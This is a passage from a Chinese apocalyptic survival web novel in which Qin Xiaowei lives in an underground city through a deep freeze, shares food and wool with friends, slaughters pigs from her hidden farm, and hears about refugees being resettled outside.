范爸爸：“没事，剩下的可以凉拌、炒着吃……” 范爸爸当了几十年家庭煮夫，对做饭这事非常有心得，拉着秦小薇分享了不少菜谱，秦小薇被他说得口水都要流下来了，一番推辞后，她收下了三分之一，剩下的让范爸爸拿回去给范槿她们加餐。 范爸爸就在菌菇种植区工作，平时他们家就时常有各种菌类加餐，秦小薇预感，接下来一段时间，她应该是不缺新鲜的菌菇吃了…… 晚上回去之后，秦小薇照着范爸爸分享的菜谱，杀了只母鸡，用金耳菌炖了一锅鸡汤，她自己和朔月一人分了一碗，剩下的一部分用饭盒装了放仓库里慢慢吃，还有一部分则装在保温桶里，打算明天带去健身房，给肖琳琳补身体。 按照她对肖琳琳的了解，她明天肯定还会过来。 果然，第二天早上，店里刚开门，肖琳琳就过来“报道”了。 肖琳琳打开保温桶看了看，看到是鸡汤后，她非常开心，但她并没有直接喝，反而问秦小薇：“薇薇，这鸡汤我能分一部分给我的队友吗？” 秦小薇皱眉：“你们队里那么多人受伤了，这半桶鸡汤不够分吧？” 肖琳琳摆了摆手：“就一个人，那天对抗难民的时候，她帮我挡了一下，胳膊都被砸骨折了……” 闻言，秦小薇没再提出反对意见：“行，你什么时候去？我骑电动车送你！” 健身房工作日白天生意一般，到了傍晚大家下班了才会忙起来，她出去一趟，不会影响什么。 肖琳琳的眼睛亮了：“就现在，咱们走吧！” “等等。”秦小薇回头和朔月交代了几句，又把肖琳琳的那份鸡汤分了出来，才带着她骑车去医院。 医院占地大约七八个运动场，面积很大，但整个地下城数百万居民，却只有五家医院，地理条件限制，楼层又不能往高了建，要服务的病人太多，所以里面的病床和各个科室都很密集。 和之前不一样，公租房这边的医院没搞什么专为有钱人服务的国际医疗部，除了特殊情况可以走绿色通道，其他时候，就算是市政的领导来了，看病也得老老实实排队。 不过秦小薇知道，这只是看似公平罢了，富人区那边的医疗条件甚至比之前的国际医疗部更好，据说医生还可以带着设备□□，当然，价格也比之前的国际医疗部更贵，堪称抢钱。 不过，富人区的医院是人家自己买地后出钱出力建的，和这边带有公益性质的医院并不一样，很多时候，在这边看病买药，都只收个成本价。 大概是市政知道天灾之下，很多普通人都过得不容易，像是能量饼干、特效避暑药、看病这种必需的花费，价格都被压得很低…… 这也是市政每次发公告，在宁市原住民这里都能一呼百应的原因。 毕竟从暴雨到现在也一年多了，虽然并不是尽善尽美，但市政真的为大家做了很多，一直在努力保障大家的生活质量和生命财产安全…… 秦小薇跟着肖琳琳找到了她队友住的病房，这边住的都是在暴乱中被炸伤的伤员，一个个都包得很严实。 因为身上裹着纱布、夹板，他们行动不方便，走起路来，和电影里的丧尸似的。 可能是因为现在天气比较冷，大家外出工作的时候，都穿得很多，有这些衣服当缓冲，大部分伤员，身上的伤都不太严重，但脸上裹得没那么厚，很多人的脸都被炸毁容了。 因为他们都是地下城的英雄，医院对他们有优待，伤员们都住在病房里面，不像其他的楼层，病人还得在走廊上加床。 两人到的时候，医院食堂的工作人员正在给伤员们发早餐，他们的伙食费和医疗费都由市政报销，不需要伤员自己花钱。 秦小薇看了看，除了那些正在禁食或是对食物有特别要求的伤员，其他人的早饭，都是一瓶牛奶和一碗肉丝鸡蛋面，肉丝有点少，每碗只有几根，鸡蛋倒是有一整个完整的荷包蛋。 牛奶算是稀罕物，超市几乎买不到，专供医院的伤员和一些领导，这顿早餐，算是非常“豪华”了。 肖琳琳的“恩人”是个两条胳膊都被吊起来的年轻女孩，看到两人后，她兴奋道：“琳琳，快过来帮我一下！” 闻言，两人连忙大步走过去。 肖琳琳：“怎么了？” 女孩用胳膊肘指了下一旁的床头柜：“帮我把小桌板支起来，再把面端过来，我要吃早饭……我妈去给我取检查结果了，等她回来，我的面就要坨了，太浪费了！还有牛奶，也帮我端过来！” 秦小薇：“……” 见她两只胳膊都被吊着，手都没法动，帮她把一次性餐盒打开之后，肖琳琳拿着筷子便要喂她。 女孩连连摇头拒绝：“不用，你们喂饭太慢了，我自己来！” 说着，她就低下头，咬住吸管，一口气吸完了牛奶瓶里的牛奶，之后又把脸埋进打包盒里，直接用嘴“啃”打包盒里的面条，不过几分钟，就把碗里的面条吃了大半。 后面碗底的面条吃不到了，她又让肖琳琳从柜子里拿了个盘子，把剩下的面条倒进盘子里，继续埋头干饭，动作非常熟练，没有半点不自在。 那动作，让秦小薇有种看朔月干饭的既视感…… 等吃完了早饭，她又让肖琳琳帮她抽了几张纸擦脸上沾到的油和汤。 她的脸上不见半点沉重，还在感叹伤员的伙食好，似乎断了两条胳膊，对她的生活没造成任何影响。 看起来非常乐观。 秦小薇很佩服她的心态。 女孩：“琳琳，你当时应该和我们一起住进来的，昨天上午市政的工作人员还来慰问我们了，还给我们送了黄桃罐头！下午和晚上也有市民过来给我们送物资，我还收到了一个小妹妹送的画，就在柜子里，你打开看看……” “这里一天三餐都有人送吃的，实在是太舒坦了……” 肖琳琳：“我这点伤，戴上固定带就能跑能跳，医生根本不会给我开住院单让我住院。” 女孩：“你那袋子里装的是什么？” 肖琳琳：“金耳菌鸡汤，我室友炖给我补身体的，我特地分了一半给你，够意思吧？” 女孩眼睛亮了，瞬间坐直了身体：“你不早说！快快快！拿出来让我尝尝！我早饭还没吃饱……” 秦小薇打包鸡汤的时候，给肖琳琳装了小半只鸡，里面还有一个大鸡腿，后面重新分的时候，肖琳琳则分了大半的鸡肉给女孩。 女孩啃着鸡腿，满脸都是笑容：“太好吃了！这种大口吃肉的感觉太爽了！小姐姐，你还缺室友吗？能做家务能暖床还不黏人的那种……” 肖琳琳一把抱住秦小薇，佯怒道：“过分了啊！我给你送鸡汤，你却想掰弯我室友……” “哪有？我只是想当个挂件蹭点饭而已！” 聊了会儿天，肖琳琳又帮她上了厕所，等女孩的妈妈取了检查报告回来，两人才离开。 肖琳琳一连往健身房跑了好几天，秦小薇每天都会给她带好吃的补身体，她记着那个女孩的恩情，每次都分她一半，直到病假结束，才依依不舍地回去上班。 中途，她还问过秦小薇现在住在哪里，秦小薇不知道该怎么和她解释别墅区的事，便找理由糊弄过去了，并没有正面回答她的问题。 周末和晚上是健身房的人流高峰期，因为调整了课程，这些天买课的客人倒是 越来越多了，店里的营业额也有节节攀高的趋势。 店里的生意变好了，员工们拿到的提成也变多了，所有人都很开心。 这天早上，秦小薇摸鱼的时候，在同城APP上刷到了一个帖子，帖子应该是市政的工作人员发的，照片里，数千人分布在一片白茫茫的大地上，拿着工具扫雪、铲雪…… 地下城主要用于住人，大型仓库并不多，像是土豆大米、能量饼干之类的物资，都存在地面上的大型粮仓里，需要工作人员隔几天送一次过来，所以地面上的交通还是非常重要的。 每天雪停的时候，都会有军人开着扫雪车，在沿途的道路上，来回清扫积雪。 不过宁市往年根本就用不上扫雪车，会开这东西的人也不多，大多是这半年多速成的，所以清路的范围也有限。 江安区那边，还关着几万劳改犯，他们中有些人是人性本恶，才闲了没几天，就开始搞事，连带着狱警的工作量都增加了很多。 上面商量过后，干脆让这些人到地面上扫雪干活，让他们吹吹冷风，清醒清醒，免得他们闲着骨头痒，在地下城里搞事…… 他们也不剥削人，每天也就雪停的时候，才放他们出来干一两个小时的活，活并不重，但外面实在是太冷了，纵然有统一发放的保暖衣物，他们一个个还是冻得不行。 但这样做成效非常明显，不过一两天，这群人就都老实了。 秦小薇之前修缮出入口的时候出过一次地下城，知道外面有多冷，看着照片里那些正在干活的劳改犯，她觉得，看到这些劳改犯的下场，南湖区和江安区的普通人肯定会消停不少。 至少明面上不敢作妖。 这么冷的天，在外面待久了，是真的能冻死人的！ 她之前看过段霞她们发在群里的照片，她们有一个队员第一次出门的时候，因为低估了外面的低温，裤子穿得不够厚，回来换衣服的时候，才发现两条大腿都青了。 她还以为自己得了什么病，去挂号看了医生，医生才告诉她，她是被冻伤了，外面的温度太低，她两条腿都被冻到麻木，就算被冻伤了，也没有察觉到。 还好冻伤不严重，要是严重了，可能还得截肢…… 还有一个队员，因为不习惯戴手套，在外面把手套摘下来了，结果就几秒钟，手的颜色就变得惨白惨白，像是服装店模特假手的颜色，回到室内捂了很久，手才恢复血色…… 帖子的评论区还算和谐，几乎没多少人同情这些劳改犯，还有人觉得可惜，说是现在温度太低，外面的土都冻上了，要不然还能给他们安排更多的活。 秦小薇正在帖子里和网友们聊天，段霞却忽然找了过来，看到她，秦小薇有些惊讶。 秦小薇：“阿霞，你这个大忙人今天怎么有空过来？” 上次的夜袭事件后，她们队不少人都负伤了，还有个队员没抢救过来……段霞要安抚死者的家属，处理后续的各项事宜，她这段时间一直很忙。 甚至在寝室群里发言，她都不发文字了，而是发语音，有时候语音发到一半，她还会跑去处理工作！ 可以说是非常忙碌了！ 段霞也没和她寒暄，直接开口道：“过来找你打听点事！” 秦小薇的表情当即严肃起来：“你说！” 段霞：“一些私事，不用这么紧张……我听到一些风声，说是垃圾处理厂在招垃圾分拣员，我想让我爸妈去报名，你有没有渠道帮我打听一下，这活靠不靠谱？我在那边不认识人……” 秦小薇没怎么犹豫，就答应了。 秦小薇：“行，我帮你打听一下，晚点给你消息！” 地下城数百万居民，现在外面又是极端低温天气，资源开采困难，地下城在设计之初就考虑了这个问题，和建立地下城的那些建材一样，上面一早就决定对地下城的资源进行循环利用。 居民们的各种生活垃圾自然也是其中的一环，还出台了一系列的垃圾分类政策，但宁市的普通人之前从没经历过这么严格的垃圾分类，一时有些接受不了，时常出错。 秦小薇猜测，上面可能是在资源循环利用的时候碰到了问题，才会设置垃圾分拣员这个职位。 晚上回家后，她就给陆昼打了电话，询问招聘垃圾分拣员的事，陆昼对此不太了解，挂断电话后，过了好一会，才给她回了电话。 这工作算是个辛苦活，工资并不高，工作环境也不好，但依旧受到了不少人的争抢，毕竟工地停工之后，某些穷困的市民也没地方混温饱了，虽然能量饼干的价格很便宜，但对他们来说，依旧是一笔不小的开支…… 秦小薇问清楚了待遇和工作环境后，就给段霞回了电话。 “……阿霞，我感觉这工作不太行，你真的要让叔叔阿姨去报名吗？” 段霞应了一声：“先试试吧，总这么闲着也不是事！” 秦小薇从她的语气中察觉出了一丝异样：“你和叔叔阿姨闹不愉快了？” 段霞“嗯”了一声，随后又否认道：“他们也没和我吵架，态度挺好的……上次暴乱的事我们队不是立了功吗？上面给我升级成了单人间，还给我转正了。” “我和我爸妈分享这个好消息的时候，他们让我把房子让出来给我弟弟住，说他上高中，四人间太吵了，晚上写作业都没个安静的环境，让我过去和他们挤四人间，说是方便照顾我，还能给我洗衣做饭什么的……等他高中毕业再换回来。” “我当时就跟被兜头浇了一盆冷水似的，当时就冷脸了，就直接说我不愿意，他们也没强迫我，就直接说算了……虽然他们没有强迫我换房子，但我就是不舒服，你懂吧？” 秦小薇很早之前就知道，段霞的父母非常偏心她弟弟，对于他们这种做法，她一点都不觉得意外。 他们现在没有强迫段霞换房子，不过是因为段霞现在是他们家的“顶梁柱”，要是没了段霞，他们连公租房的租金都付不起。 有些父母的心，本来就是偏的，是不可能因为环境的变化一下子就变了的。 秦小薇：“我知道……阿霞，你看开点，平时也别对他们太掏心掏肺，尽到了做子女的义务就行！” “嗯。”段霞的声音有些低，“我之前就找我弟谈了，明确了以后的养老责任，我俩商量着，先给他们找个工作，天天闲在家里，他俩很容易想七想八搞事情……” 见段霞很清醒，秦小薇也就没再多提什么意见。 刚挂断电话，寝室群里又跳出了几条消息。 【范槿：薇薇，你上次送过来的毛线保暖效果也太好了，我感觉能一件抵五件！】 【范槿：你还能弄到吗？我想再找人给我织条毛裤。】 秦小薇有些惊讶，一件抵五件，有这么 夸张吗？ 那些毛线是工坊里出产的，其实工坊还出产了羊毛衣，不过毛衣的尺寸有些小，只有那种八九十斤的瘦子能穿得上。 上次看到范妈妈连毛衣都得补，她就送了些毛线过去，让她找人给织成毛衣，分给范槿和肖琳琳。 现在很多人都没工作，只要给钱，在同城APP上很容易找到人帮忙干活。 【秦小薇：能弄到，你要几卷？】 【范槿：不知道，我找人问问，织一条毛裤要几卷毛线。】 【肖琳琳：我也要！】 【段霞：什么毛线？】 第108章 第108章杀猪（双更合一）…… 【秦小薇：就普通的羊毛毛线,从外地运过来的，阿霞，我们之前在群里聊过的,你当时还说米白色的容易脏……】 【段霞：想起来了……最近事情太多了,一时没想起来！】 【范槿：我问到了,那边说普通款两斤半毛线，加厚高密款要四斤毛线。】 【范槿：[图片]】 秦小薇点开图片看了看,图片里是对方接单的收费标准,织一条毛裤，按照尺寸不同,手工费要400到800不等，还可以选款式和花纹。 因为是纯手工制作，加工费收得比较高,但秦小薇却觉得还好,她之前给小黄钩过斗篷，知道手工编织又费手又费时间，换算成每小时的工资,其实也就几块钱，算是廉价劳动力了。 【范槿：我想要加厚高密款,薇薇,你看看能不能弄到这么多毛线，要是不够，我再买点其他的毛线掺进去。】 【肖琳琳：+1】 【秦小薇：阿霞,你要吗？】 【段霞：我多要一点，我还要织一件毛衣……饭饭，织一件毛衣要多少毛线？】 【范槿：我的是一斤二两，不过我建议你买两斤,织加密加厚的，这个毛衣真的超暖和！】 【段霞：行，那我要六斤。】 【秦小薇：OK，等我消息。】 她没让室友们等太久，第二天下午，就给了室友们回复。 【秦小薇：同志们，我没有辜负大家的期望，给大家弄到毛线了！】 【秦小薇：[图片][图片]】 【范槿：这次也只有米白色？】 【秦小薇：对，商家说这是羊毛的本色，没有经过染色处理的。】 【秦小薇：还是之前的价格，一百一斤。】 【肖琳琳：我在A区巡逻，我让范叔叔下班的时候顺道帮我和饭饭拿吧！】 【肖琳琳：[转账]】 【秦小薇：可以，熄灯之前我都在这边。】 【肖琳琳：好。】 很快，范爸爸和段霞就过来把毛线拿走了，秦小薇也在网上找了几个接单织毛衣的织女，花了些手工费，让她们帮忙织了些围巾、手套、袜子还有全套的毛衣毛裤。 不得不说，工坊出产的东西质量就是好，差不多克重的东西，她找织女织的，竟然比陆昼之前囤的那些高档羊绒衫、羊绒围巾还要保暖。 按照现在地下城的温度，她出门的时候，打底衫外面套件毛衣，再随便穿个外套，就不觉得冷了。 后面，她还去网上找了教程，给朔月织了一件背心打发时间。 最近这半年多，很多游戏都陆续停服了，尤其是降温之后，她手机里联网的游戏几乎是全军覆没，连带着她的娱乐活动都变得贫瘠起来，只能找别的事打发时间…… 这天晚上，泡完澡之后，秦小薇给陆昼打了个电话。 秦小薇：“陆昼，我今天和机器人称了一下，第一批猪崽都有两百多斤了，可以出栏了，你什么时候来地下城，咱们把它们杀了吧！” 她空间里有三头母猪一头公猪，年后，另外两只母猪也陆续下崽了，现在牲畜棚里家猪的数量，已经快要接近四十头了。 还好她农场里有一堆机器人，可以实现自动化种植和养殖，要不然就她一个人，每天光是准备猪食就要浪费她许多时间…… 陆昼不确定道：“……我们自己杀？” 秦小薇：“你要是能找到杀猪匠，找别人杀也行！” 陆昼：“找人帮忙吧，你先出来一趟，我们做做样子，把猪从外面运进去……” 闻言，秦小薇连忙答应道：“行！” 说实话，杀猪这事，她也不确定他俩能不能搞定，毕竟两百多斤，他们又没经验…… 两人又商量了一些细节，才挂了电话。 第二天早上，秦小薇没有去店里，而是穿上了自己厚厚的保暖装备，在家里等陆昼的电话。 七点半的时候，她坐电梯去了地面，外面正在下雪，冷风呼呼地吹，陆昼的卡车停在几十米外。 秦小薇裹得跟个球似的，出了电梯，就大步朝着卡车的方向跑去，昨夜的积雪还没清扫，地上很滑，就这么几十米的路，她就在地上滑了好几下，好在她身体的灵活性不错，没有摔倒。 但那奔跑的动作，怎么看怎么滑稽…… 上车后，陆昼递给她几张纸巾擦身上的雪：“我今天没什么事，你不用这么着急！” 车里开了空调，但外面的温度太低了，车里并没有比外面暖和很多，陆昼也裹得很厚实，还戴了雪镜，他的声音闷在厚厚的口罩后面，听起来有些失真。 秦小薇：“我不急，我就是想少吹一会冷风！” 大降温已经二十多天了，但秦小薇这段时间一直窝在地下城里，这还是她第一次彻底离开地下城，看看外面的情况。 她趴在车窗上，看着外面的景色，外面到处都是白色，几乎看不到什么标志性的建筑和路牌，所有的一切，都被掩埋在积雪下面。 就算是车辙印，一夜过后，也很快会被积雪覆盖。 如果不是扫雪车把出入地下城的几条主干道清扫出来了，秦小薇觉得，她要是开车出门，绝对会迷失在这片白茫茫的大地中。 她只看了两分钟，陆昼就提醒她：“不要一直盯着外面看，对眼睛不好。” 外面到处都是白色，她没戴雪镜，一直盯着看，容易雪盲。 “知道了。”秦小薇换了个姿势，不再盯着外面。 车子在外面开了十几分钟，陆昼就找了个地方停车，让秦小薇下车把猪放到后车厢里。 外面太冷了，秦小薇担心猪还没回地下城，就被冻死了，还往车厢里铺了很多干草给猪保暖，但就算是这样，从空间里出来后，不过十几秒，它们就冷得瑟瑟发抖…… 找一次杀猪匠不容易，她直接往后车厢里放了三头猪。 十几分钟后，卡车走运送物资的专用通道进了地下城，他们的卡车刚停下，就有推着小推车的中年男人过来帮忙“卸货”。 秦小薇打开后车厢，发现之前还在挣扎的三头猪，现在连皮肤的颜色都白了好几个色号，身体更是僵硬地一动不动，如果不是还能看到它们呼出的白气，她甚至怀疑，这几头猪已经冻死了。 看到几头猪这个样子，几个正准备帮忙卸货的人都皱了眉头：“陆先生，这几头不会是病猪吧？” 秦小薇摇头：“不是病猪，路上太冷了，它们这是冻的……” 空间里和外面温差六、七十度，车厢里又没有空调，它们不适应骤然降低的温度，冻成这个样子，也很正常。 陆昼让几人正常卸货，见此，他们也没再多说什么。 卸货后，他们又帮忙把猪送去了别墅，到家后，见几人拿出了家伙事，又借她的厨房烧水，秦小薇这才知道，这几人根本不是搬货的工人，而是陆昼找的杀猪匠。 地下城的温度比外面高很多，在等待水开的过程中，几头猪渐渐缓了过来，也有力气挣扎叫唤了，看到几头猪的状态，几人隐隐松了口气——陆昼答应给他们一些猪血、猪尾巴、猪肉当报酬，这几头猪要真是病猪，这报酬他们还真不敢收。 现在医院药品稀缺，没人会为了口腹之欲，冒险吃变质的东西。 这几人杀 猪都是老把式了，水烧开之后，他们就开始干活了，一声声高亢的猪叫在别墅的院子里响了起来。 秦小薇在这边已经住了一段时间了，因为她白天很少在家，和周围的邻居几乎没怎么打过照面，但因为这一声比一声高亢的猪叫，附近有不少人都从家里跑出来围观，甚至连巡逻的警察都过来了。 看到院子里那几头膘肥体壮的家猪和正在忙碌的杀猪匠后，附近的居民还好一些，但几个巡逻的警察，直接就挪不开眼了。 这边和公租房那边不一样，这边的超市虽然价格昂贵，但只要有钱，很多物资都能买到，能住在这附近的，根本不会缺这一口肉吃，但警察就不一样了，以他们的工资，就算进了这边的超市，也负担不起那高昂的物价。 有人认出了陆昼，纷纷主动和他打招呼。 “陆部长，这猪是你买的吗？” “陆先生，这三头猪都要杀吗？” “小姑娘，这是你家吗？” “……” 陆昼有一搭没一搭地和他们聊着：“和朋友一起养的，我看它们能出栏了，就一起杀了……我不讲究那些，新鲜的和冷冻的都差不多……那个项目不是我负责的，我不是很清楚……” 聊了一会，他们又把话题转移到了秦小薇身上，还有人和她交换了联系方式。 秦小薇知道，这里的住户非富即贵，以后要是碰到了什么事还能多条人脉，便拿出手机，和他们交换了联系方式。 住户们很快就散了，但那几个警察，都留了下来。 等其他人都走了，其中一人小声问陆昼：“陆部长，这三头猪，你们一时半会也吃不完，这肉冻久了，会影响口感……不知道这些猪肉排骨，你卖不卖？” 陆昼没有回话，反而是看向一旁的秦小薇。 秦小薇：“你们要多少？” 问话的警察搓了搓手：“多少钱一斤啊？” 秦小薇想了想：“和超市里一个价……” 听到他这话，问话的警察表情顿时变了，甚至有点后悔刚刚开口问价。 秦小薇继续开口道：“猪肉30一斤，排骨48一斤。” “你说的是公租房那边的超市啊？”警察说着指了下远处的商场，“我还以为是那边的超市呢！” 秦小薇摇头：“那家太贵了！” 虽然知道商场里物资非常齐全，但秦小薇住过来之后，也就好奇去里面逛过一次，了解了里面的物价之后，她就再也没去过了。 公租房那边的超市，一包盐两块，这边，直接翻十五倍卖她三十。 虽然牌子不一样，但盐这种东西，不就是氯化钠吗？她一直觉得，多出来的二十八块，是富人区这边的智商税…… 和这边的超市卖一样的价格……她干不出来这么坑人钱的事。 几个警察都很兴奋，又和她聊了几句之后，又找了一些同事过来，等杀猪匠帮忙分割好猪肉后，他们每人都提着几斤猪肉排骨欢欢喜喜地离开了…… 几个杀猪匠也提了不少东西离开，等众人都散了，三头猪，就只剩下两头半了。 陆昼看得直摇头：“你杀一次猪，‘损耗’也太多了！” 秦小薇看了他一眼：“我空间里还有33头猪，等到下半年，可能还会再添二三十头小猪崽，空间里还有别的牲畜……凭我们两个，吃到死也吃不完这么多肉吧？” 陆昼：“……” 秦小薇：“而且那些警察一直在附近巡逻，现在给他们卖个好……以后要是出了事，我找他们帮忙，人家说不定还会搭把手。” 闻言，陆昼也没再多说什么。 说话间，秦小薇又分了些猪肉、排骨出来，打算拿去健身房，给员工们加餐。 猪头处理起来很麻烦，秦小薇也不太爱吃猪头肉，她想了想，决定再带一个猪头过去。 陆昼不住这边，地方收拾干净之后，他就用小推车推了半扇猪肉和一堆内脏离开了。 地下城有监控，秦小薇已经很久没给员工们弄员工福利了，猪肉分割好之后，她就骑着电动车出门了。 刚靠近商业街，秦小薇就闻到了一股诱人的油炸食品的香气，她想了想，没急着去健身房，而是顺着香味找了过去。 很快，她就找到了一家正在营业的炸蘑菇店，油炸食品的香气实在是太霸道了，店门口有不少人在排队。 听着门口众人的议论声，秦小薇这才知道，这家店的店主原本是卖桥头排骨的，在宁市非常有名，已经开了十几年了，之前因为弄不到原材料，店铺就关门歇业了，直到现在才做回老本行。 但因为原材料限制，做不了桥头排骨，只能做桥头蘑菇，但配方和之前是一样的，和以前一样好吃。 秦小薇原本是想排队买一份尝尝的，但队伍太长了，蘑菇又是现炸的，效率非常慢。 她想了想，还是决定先回健身房，反正就在附近，这边总有人少的时候，她到时候再来。 秦小薇带来的一大袋猪头和猪肉排骨内脏，受到了员工们的热烈欢迎。 “店长，这么多东西！你该不会是去打劫屠宰场了吧？” 秦小薇：“想什么呢！这是老板自己养的，今天杀了好几头猪，才分了点边角料给我们加餐……这一袋是给你们的，你们自己分，这一袋别动。” 除了员工，秦小薇还给三个室友准备了一份。 中午两点多的时候，蘑菇店排队的人终于变少了，员工们趁着人少，去打包了十几份炸蘑菇。 说实话，人家店铺能开十几年，不是没有理由的。 炸金针菇、平菇、双孢菇、草菇，每种蘑菇都炸得很好吃，吃得秦小薇都想去买点面糊和调味料回来做桥头排骨了！ 傍晚的时候，范爸爸和段霞他们过来拿了秦小薇给他们准备的猪肉和排骨，范爸爸十分热情，给了钱之后，又给她塞了一袋杏鲍菇，让她回去炒肉吃。 段霞拿了东西之后，并没有离开，而是把秦小薇拉到了一边：“薇薇，上次那种羊毛毛线，你还能弄到吗？我想再买一些！” 秦小薇打开仓库看了下自己的库存，才问她：“你要多少？” 段霞：“先来两百斤吧！” 秦小薇：“……你要搞批发吗？” 段霞摇头：“不是，之后我们队外出执勤的时间可能会变长，队里发的那些东西不够用……我想再给队员们弄点保暖的装备，免得她们冻出问题！” 秦小薇的表情顿时严肃起来：“又出事了？” 段霞点头：“听说上面又要往咱们宁市塞人了……你也知道，南边有些市，大降温的时候连地下城都没建好，听说死了不少人，上面知道咱们这边情况不错，降温到现在，基本上没死什么人，还一直有粮食产出，就想把还活着的人迁移过来，挤一挤。” 听到她的话，秦小薇忍不住翻了个白眼：“宁市的总人口都翻倍了，还往这边塞……现在又不像以前，地震把不少房子都毁了，咱们这就三座地下城，再塞就只能睡大街了！” 段霞：“上面不想把他们安置在地下城里，想把外面还能住的房子修一修，弄个火炕什么的，让他们将就着熬过去……之后那边也要安排人巡逻，我看上面的意思，是让各个队轮流出去。” 秦小薇想到了之前那批人，当时市政也想把他们安置在军营里，但那些人嫌条件差，竟然把电缆挖了威胁他们，搞得地下城集体停电…… 秦小薇：“不让他们进地下城，他们能同意吗？不会又搞出挖电缆之类的事吧？” 段霞：“我们最近在特训，之后外出执行任务的时候，成绩优异的队员可以配枪，遇到了特殊情况，可以直接开枪。” 秦小薇：“……” 她想了想：“毛线可能没那么多，但我应该能弄到一批兔皮，你们要不要？兔皮保暖效果也挺好的！” 段霞毫不犹豫点头：“要！” 白天杀了猪，晚上下班后，秦小薇还在空间里折腾了好几个小时，弄了一大桌杀猪菜……可惜就只有她和朔月吃，一大桌菜，一顿晚饭后只损伤了一点血皮。 她也不嫌弃自己的剩菜，用饭盒打包之后，放在仓库里慢慢吃。 因为是给巡逻队配物资，秦小薇也没有吝啬，把仓库里的羊毛毛线全都贡献出来了，库存的兔皮也弄了很多出来，这次要拿出来的物资有点多，为了不引起其他人的怀疑，她还特地去外面转了一圈，把物资“拉”回来。 巡逻队那边，之后只有成绩优异的队员才能配枪，肖琳琳对于巡逻队的工作，虽然会按时、按量完成，但她没有太大的进取心，干活一直是中规中矩，并不像段霞那么积极，算是做一天和尚撞一天钟。 但现在可以配枪了，她们三个都跟打了鸡血似的，每天都练得特别狠…… 尤其是肖琳琳，每天都下班后，在群里嗷嗷喊胳膊疼，但喊了没一会，就又去研究教学视频去了，还和段霞她们讨论白天练习的心得……可以说非常刻苦了。 毕竟以前，她们虽然叫巡逻队，但也只是个临时工，很多苦活 累活都要干，他们就像一块砖，宁市哪里需要就往哪里搬……编制的事更是遥遥无期，有时候市里太平了，他们还得担心自己会不会失业。 但要是有了持枪的资格，肖琳琳就觉得，巡逻队队员这个身份就不一样了…… 秦小薇看着她们在群里的聊天记录，有的时候心痒，也想插一句嘴，但想想自己的经历，是没机会接触到这种热武器的，便只能忍住。 秦小薇有经验，还给三人送了几瓶药油过去，让她们缓解肌肉酸痛。 没两天，秦小薇就看到市政发了公告，说要找人修火炕，条件比之前建地下城的时候丰厚很多，除了包吃，每天还有三百块的工资。 因为给钱，虽然现在外面很冷，但还是有不少人报名。 秦小薇对这份工作不感兴趣，也就没太关注，倒是健身房的员工和客人，时常聊到这件事。 不过都不是什么好消息…… 比如，有人喝水的时候杯子没拿稳，把裤子给弄湿了，结果回来以后，那条腿直接冻硬了，送去医院，医生说要截肢；还有人出去干了一天，回来就发烧了，在家里躺了四五天病才好，赚的那点钱，都不够医药费…… 不过短短几天，人们就纷纷退出了施工队伍，市政招不到人，便只让江安区那边的劳改犯和迁移过来的难民自己干活。 不过市民们可以退出施工队伍巡逻队却是不行的，很快，上面就挑出了一批通过考核的队员，让他们出去执行任务。 第109章 第109章卷饼（双更合一）…… 秦小薇的三个室友,只有范槿继续留在地下城巡逻，她倒也不是落选了，而是范爸爸和范妈妈最近听说了太多工人在外面出事的案例,担心女儿也在外面冻出什么毛病。 轮流给她做思想工作,让她放弃外出做任务。 范槿心里或许有保卫国家和人民的热血想法,但在范爸爸和范妈妈看来，这只是一份干了半年多、转正希望依旧十分渺茫的工作而已。 虽然现在的大环境很差,工作很难找,巡逻队外出的补贴也很丰厚……但他们家前几十年，都没为钱发愁过,所以在他们的观念里，巡逻队的工作并没有女儿的安全重要。 在他们的软磨硬泡下，原本通过考核的范槿,找段霞主动退出了巡逻队伍…… 段霞虽然觉得可惜,但也帮了忙，没把她的名单报上去。 因为段霞和肖琳琳外出执勤，秦小薇对外面的情况便多关注了一些。 外面的气温太低了,在外面执勤的时候，她们的手机经常因为低温自动关机,所以白天群里经常看不到她们的发言,只有她们晚上坐车回地下城了，秦小薇才能从群里知道她们的情况。 纵然市政为这些难民提供了不少保暖装备，但外面的温度实在是太低了,有些老人孩子，好不容易熬过了这一路的风雪，到了宁市之后，反而开始生病…… 一些简单的感冒发烧,派出去援助的医生还能提供医疗救助，但某些复杂的病症，受到医疗条件的限制，医生也无能为力……因为种种原因，宁市原本极低的死亡率竟然开始缓慢上升。 新来的难民中还有一部分□□势力，手上有一批不知道从哪弄来的热武器，因为不满市政的安排，直接和巡逻队、警察动手了，和他们发生了枪战。 好在宁市这边弹药、装备充足，最后取得了压倒性的胜利，就只有几人受了点轻伤…… 除此之外，秦小薇之前住的公寓和健身房，也被官方征用了，用于安置难民，她的公民信用分还因此一下子涨了三十分。 她并没有收到官方的短信或是电话，还是手机软件提示她公民信用分到账，她自己查看了明细才知道这事。 秦小薇打电话问了陆昼，陆昼说，她的房子没人看着，就算市政的工作人员跳过了她的房子，她的公寓和房子也会被人占了，还不如暂时贡献出来，用于安置难民。 至于低温结束了，房子能不能收回来……陆昼则表示，只要他还在宁市，这事就不用担心。 秦小薇纠结了一会，也就放下这事了，事情都已经成定局了，不管她再怎么纠结，结果都不会改变的。 况且，新来的难民总要有地方安置，要是不让他们住外面，就得往地下城里塞了。 说实话，秦小薇很满意现在地下城的状态，并不希望地下城增加新人…… 不过这一切，都和地下城的居民无关，就算外面每天都有人在死亡，但地下城居民的生活却没被影响，大部分人，依旧是按部就班地工作生活。 没有工作，或是收入不稳定的普通人，则守着网络，看地下城有没有什么新的赚钱机会…… 秦小薇贡献的兔皮和毛线，受到了巡逻队队员们的一致好评，大家都说，兔皮和羊毛衣的保暖效果比官方发的装备好很多，用兔皮内胆和羊毛衣替换下保暖内衣和毛衣后，他们外出执勤的时候，在寒风中“续航”的时间都延长了很多…… 并不是所有人都和秦小薇一样，懒得动手，直接在网上找织女织毛衣、毛裤，比如段霞，她的毛衣就是她妈妈织的，兔皮内胆也是她妈妈借缝纫机自己裁的，只算兔皮和毛线的价格，毛衣和兔皮内胆算是非常物美价廉了。 没几天，秦小薇就又收到了她们的求购订单。 虽然牧羊场的羊毛每天都可以收一次，但满打满算，一天也只能产出六份毛线，她还要拿去交机场的订单……所以，她最后只给她们弄了半车兔皮和二十几份毛线。 一转 眼，时间又过了一个月，这一个月，秦小薇的生活十分规律，几乎每天都是别墅区和健身房两点一线，偶尔摸鱼的时候，她就牵着狗去隔壁的商业街买点蘑菇。 地下城菌菇的产量越来越高，随着时间的推移，商业街上卖蘑菇的店也越来越多，除了秦小薇之前吃过的炸蘑菇，这几天又有烤蘑菇和铁板蘑菇陆续冒了出来。 